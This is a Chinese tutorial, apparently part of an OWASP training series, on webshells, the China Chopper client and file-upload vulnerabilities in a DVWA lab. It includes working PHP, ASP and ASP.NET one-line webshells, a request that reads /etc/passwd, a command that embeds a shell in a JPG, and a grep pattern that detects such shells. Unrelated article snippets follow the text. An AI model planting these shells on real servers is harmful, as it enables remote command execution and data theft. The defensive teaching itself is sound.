2.中国菜刀使用详解(OWASP实战训练)

2.中国菜刀使用详解(OWASP实战训练)(OWASP实战训练)

  • Webshell
    • (1)shell2.php #eval 使用PHP函数,例如PHPinfo
    • (2)Shell3.php #system 使用Linux系统命令,列如ls,cp,rm
  • 中国菜刀
  • 脚本客户端(包括但不限于EVAL)部分
    • (1)要了解的
    • (2)怎么用
    • (3)关于配置信息怎么填?
      • (3-1)PHP脚本:
      • (3-2)ASP和ASP.NET脚本:
      • (3-3)Customize脚本:
  • 文件上传漏洞
  • 图片木马
  • 如何应对文件上传漏洞

Webshell

小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测到
下面准备了两个脚本

(1)shell2.php #eval 使用PHP函数,例如PHPinfo

<?php eval($_REQUEST['cmd']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

(2)Shell3.php #system 使用Linux系统命令,列如ls,cp,rm

<?php system($_REQUEST['yangge']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?yangge=cat /etc/passwd

中国菜刀

<?php @eval($_POST['chopper']);?>

说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

刚刚用到了webshell一句话木马,两个请求方式request和post,建议使用post方式用菜刀连接方便,request是在网页输入变量比较麻烦。

www.maicaidao.com是打不开的

脚本客户端(包括但不限于EVAL)部分

(1)要了解的

  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅度提高。

目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持HTTPS安全连接的网站。

在服务端运行的代码如下:

PHP:	<?php @eval($_POST['chopper']);?>
ASP:		<%eval request(“pass”)%>
ASP.NET	<%@_Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

(注意:ASP.NET要单独一个文件或此文件也是JScript语言)
Customize:自定义类型,功能代码在服务器端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。

(2)怎么用

  在主视图中右键/添加,在弹出的对话框中输入服务器端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,保存后即可使用文件管理、虚拟终端、数据库管理三大模块功能,同时支持自定义的脚本执行,并可以导入导出数据。

要是其他都没有错误,那么可能就是你把语言编码选错了。
1.文件管理:【特色】缓存下载目录,并支持离线查看目录;
2.虚拟终端:【特色】人性话的设计,操作方便;(输入help查看更多用法)
3.数据库管理:【特色】图形界面,支持mysql、mssql、Oracle、infomix、access以及支持ado方式连接的数据库。

(3)关于配置信息怎么填?

数据库方面:

(3-1)PHP脚本:

<T>类型</T>		#类型可为MYSQL,MSSQL,ORACLE,INFOMIX
<H>主机地址</H>	#主机地址可为机器名或IP地址,如localhost
<U>数据库用户</U>	#连接数据库的用户名,如root
<P>数据库密码</P>	#连接数据库的密码,如12345

(3-2)ASP和ASP.NET脚本:

<T>类型</T>		#类型只能填ADO
<C>ADO配置信息</C>
#ADO连接各种数据库的方式不一样,如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为HTML文件

(3-3)Customize脚本:

<T>类型</T>	类型只能填XDB
<X>与customize脚本约定的配置信息</X>

注意:我们之前使用菜刀的时候并没有填写配置的信息,值写了地址,如果过你能知道数据库配置的话就能进行数据库管理,如下

<T>MYSQL</T>
<H>localhost<H>
<U>root</U>
<P>owaspbwa</P>   #这个密码按理是不知道的,我们可以通过后期的sql注入得到此密码

在文件管理可以删除文件等操作,但还是注意是普通账号。

虚拟终端

数据库管理:
  有正确的数据库账号和密码就能进行数据库管理了,在配置中输入数据库账号密码(个人认为小马连接成功后,可以上传大马,这样就更加容易得到数据库密码和提权了)
  这个菜刀还可以修改启动密码,不过这是好几代的版本了,我目前使用的是第一代的开源的版本有很多功能还不完全,我已经将新版菜刀下载了但还未使用过。
  点击新版菜刀左上角,有网站扫描功能也就是spider爬虫,其实其他的工具也是有的,使用爬虫将网页爬取就知道别人网站中的东西的,文件结构路径。爬取后的网站有点大,可以删除。

文件上传漏洞

下面有个图片木马,放到下节课来讲。
这是文件上传的漏洞,下面会讲到文件执行的漏洞。

  文件上传本身是正常的,但是开发人员并没有进行过滤,导致出现的文件上传漏洞,现在代码是以文件的形式传到网站目录下的,我们也可以将其上传到mysql去,即将代码灌倒mysql中,而不是想现在上传文件。
  一旦上传以后,知道路径加上上传的密码就能连接,进行文件的管理,甚至数据库的管理。还有虚拟终端,甚至爬虫都不需要,爬虫这个东西根上传网站无关,指定任何一个网站都可以爬,爬虫是违法的。
  一句话木马编写格式在帮助文档里有。

  怎么防御文件上传漏洞,在高安全级别下是将文件上传的后缀限制,或者前端部署应用防火墙,waf防火墙看看我们写的代码里是否有eval post等的一些标记。同样如果过你怀疑自己的网站中招了,有木马,我们可以在中端执行一下程序进行过滤看看有没有含有此特殊标记的文件。

Root:/var/www/dvwa/#   fgrep -R ‘eval($_POST[’  /var/www/dvwa

一句话木马可能在一个文件,或者被包含在一个文件。

图片木马

方法一:windows命令:

Copy yangge.jpg/b+shell.php yangge1.jpg

方法二:edjpgcom

如何应对文件上传漏洞

1,开发人员要做一些相对的限制
2,可能在我们前面有一些waf应用防火墙,防火墙有一些规则对木马进行过滤拦截,只要有人提交就会报错,我们被动防御是比较难的,通常会有waf防护墙。

  阿里云上有WAF防火墙,一个waf可以搞定很多事情(如CC攻击(自己搞不定,不断的刷验证码网页,让验证码扛不住。)),大家看看CC攻击和DDoS攻击有何区别。
  DDOS就是让你网站扛不住,如网站20G,但输入50G就无法提供服务了。网络被搞垮。
  CC是让你的应用程序瘫痪,如刷验证码,网络没问题,应用被搞垮了。
  DDOS可以通过传统的防火墙去抗,但CC不行,需要WAF(web应用防火墙)来识别,在实际如果使用了云服务器,一个是云的工程师,一个是安全的,高级的有waf配置,真的怀疑中招就搜索,现在讲的文件上传漏洞只是冰山一角,这只是纯粹的文件上传,还有sql数据库上传漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/860403.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【已解决】Python报错:NameError: name ‘Image‘ is not defined

&#x1f60e; 作者介绍&#xff1a;我是程序员行者孙&#xff0c;一个热爱分享技术的制能工人。计算机本硕&#xff0c;人工制能研究生。公众号&#xff1a;AI Sun&#xff0c;视频号&#xff1a;AI-行者Sun &#x1f388; 本文专栏&#xff1a;本文收录于《AI实战中的各种bug…

性能评测系列(PT-010):Spring Boot + MySQL,高并发insert

一、测试概述 测试场景 场景编号&#xff1a; PT-010场景描述&#xff1a; Java应用&#xff0c;MySQL单表写测试目的&#xff1a;指定规格、配置、环境下&#xff0c;Java应用数据库简单写场景负载能力评估。&#xff08;不含调优&#xff0c;所测结果未必是最优结果&#x…

软RAID

硬盘 连续空间 无法 扩容 lvm 非连续空间 可以动态扩容 raid 备份&#xff0c; 提高读写性能&#xff0c;不能扩容 raid 是磁盘的集合&#xff0c;按照排列组合的方法不 一&#xff0c;给 raid 去了不同的名字 raid0 raid1 raid5 raid10 什么是 RAID "RAID"…

计算机网络之UDP协议

一.什么是UDP协议&#xff1a; 1.1UDP的基本概念 UDP协议又叫做用户数据报协议&#xff0c;是一个目标在传输层提供直接发送报文的能力&#xff0c;UDP与TCP相比&#xff0c;它不会拆分数据&#xff0c;它只是能够发送报文。 1.2为什么要使用UDP协议 我们可能会想&#xff0c;如…

three.js - MeshPhongMaterial材质

phong网格材质&#xff1a;Mesh - Phong - Material 一种用于具有镜面高光的光泽表面的材质。 它可以模拟&#xff0c;具有镜面高光的光泽表面&#xff0c;提供镜面反射效果。 MeshPhongMaterial&#xff1a; MeshPhongMaterial是一种基于Phong光照模型的材质&#xff0c;主要…

工作记录2

1. 要实现y轴超出部分滚动的效果&#xff0c;可以这样写 <div style"max-height: 384px; overflow-y: auto;"> </div> 2. 当后端接口还没好的时候&#xff0c;可以自己模拟一下接口返回的数据 export const getCommodityDetail (id) > Promise.re…

MySQL入门学习-连接查询.复杂连接

复杂连接是指涉及多个表之间的连接操作&#xff0c;通过使用条件和连接类型来组合和关联这些表的数据。 一、常见的复杂连接类型及其特点、使用方法和示例代码&#xff1a; 1. INNER JOIN&#xff08;内连接&#xff09;&#xff1a; - 特点&#xff1a;返回两个表中满足连接…

构建实用的Flutter文件列表:从简到繁的完美演进

前言&#xff1a;为什么我们需要文件列表&#xff1f; 在现代科技发展迅速的时代&#xff0c;我们的电脑、手机、平板等设备里积累了大量的文件&#xff0c;这些文件可能是我们的照片、文档、音频、视频等等。然而&#xff0c;当文件数量增多时&#xff0c;我们如何快速地找到…

HTML(20)——定位

定位 作用&#xff1a;灵活的改变盒子在网页中的位置 实现&#xff1a; 定位模式&#xff1a;position边偏移&#xff1a;设置盒子的位置 leftrighttopbottom 相对定位 position&#xff1a;relative 改变位置的参照物是自己原来的位置&#xff0c;并且不脱标占位&#x…

程序员是干嘛的?程序员在职场中的重要性

程序员是干嘛的&#xff1f;程序员在职场中的重要性 随着科技的飞速发展&#xff0c;计算机技术得到了广泛应用&#xff0c;程序员也成为了当今职场中不可或缺的一部分。那么&#xff0c;程序员究竟是干什么的呢&#xff1f;他们为什么如此重要&#xff1f;下面我们来详细探讨一…

驾校预约管理系统

摘 要 随着驾驶技术的普及和交通安全意识的增强&#xff0c;越来越多的人选择参加驾校培训&#xff0c;以获取驾驶执照。然而&#xff0c;驾校管理面临着日益增长的学员数量和繁琐的预约管理工作。为了提高驾校的管理效率和服务质量&#xff0c;驾校预约管理系统成为了必不可少…

微信app支付没上架开通方法

对于许多商家来说&#xff0c;特别是那些经营游戏、商城等拥有自己APP的商家&#xff0c;接入微信支付无疑是一个重要的步骤&#xff0c;它能让用户更方便地进行支付操作&#xff0c;提升购物体验。然而&#xff0c;随着微信支付政策的调整&#xff0c;现在开通APP支付并不像以…

Java抽象类:深入理解与应用

一、引言 在Java的面向对象编程中&#xff0c;抽象类&#xff08;Abstract Class&#xff09;是一个非常重要的概念。它允许我们定义一个类&#xff0c;该类中包含一些抽象方法和非抽象方法&#xff0c;但自己不能被实例化。抽象类主要用于创建类的层次结构&#xff0c;并为子…

单片机练习题6

一、填空 1&#xff0e;如果采用晶振的频率为3MHz&#xff0c;定时器/计数器Tx&#xff08;x0,1&#xff09;工作在方式0、1、2下&#xff0c;其方式0的最大定时时间为 &#xff0c;方式1的最大定时时间为 &#xff0c;方式2的最大定时时间为 。 答…

手机照片压缩到20k以内免费,这几款心动软件快收好!

在数字化时代&#xff0c;手机拍照已成为我们记录生活的重要方式之一。然而&#xff0c;高清的照片也意味着占用着越来越多的手机存储空间。如果你正在为手机内存告急而烦恼&#xff0c;那么这几款手机照片压缩神器或许能成为你的救星&#xff01;它们不仅可以将照片轻松压缩至…

【Linux】多线程的相关知识点

一、线程安全 1.1 可重入 VS 线程安全 1.1.1 概念 线程安全&#xff1a;多个线程并发执行同一段代码时&#xff0c;不会出现不同的结果。常见对全局变量或者静态变量进行操作&#xff0c;并且没有锁的保护的情况下&#xff0c;会出现问题。重入&#xff1a;同一个函数被不同…

vue3通过vue-video-player实现视频倍速、默认全屏、拖拽进度条等功能

效果图&#xff1a; 1、场景&#xff1a; js原生的video标签在不同浏览器及不同型号手机上都展示的不一样&#xff0c;一部分没有倍速&#xff0c;一部分没有全屏等功能&#xff0c;为了统一视频播放的交互功能&#xff0c;使用vue-video-player插件来完成&#xff0c;vue-vid…

Java面试题:讨论事务的ACID属性,并解释在Java中如何管理事务

事务是数据库管理系统中的一组操作&#xff0c;这些操作要么全部成功&#xff0c;要么全部失败&#xff0c;事务的ACID属性确保了数据库系统的可靠性和一致性。ACID是指&#xff1a; Atomicity&#xff08;原子性&#xff09;&#xff1a;事务中的所有操作要么全部完成&#xf…

轻松打造分班查询系统,这个工具助您一臂之力!

新学期伊始&#xff0c;老师们知道该如何快捷制作并发布分班查询系统吗&#xff1f;面对繁杂的学生名单和班级分配&#xff0c;无疑是一项巨大的麻烦。传统的纸质通知效率低下&#xff0c;容易出错&#xff0c;更别提在信息传递过程中可能出现的混乱和误解了。 现在有一个工具可…

【工具推荐】ONLYOFFICE 桌面编辑器 8.1:引入全新功能,提升文档处理体验

ONLYOFFICE 桌面编辑器 8.1 现已发布&#xff1a;功能完善的 PDF 编辑器、幻灯片版式、改进从右至左显示、新的本地化选项等 【工具推荐】ONLYOFFICE 桌面编辑器 8.1&#xff1a;引入全新功能&#xff0c;提升文档处理体验 一、什么是ONLYOFFICE&#xff1f; ONLYOFFICE 是…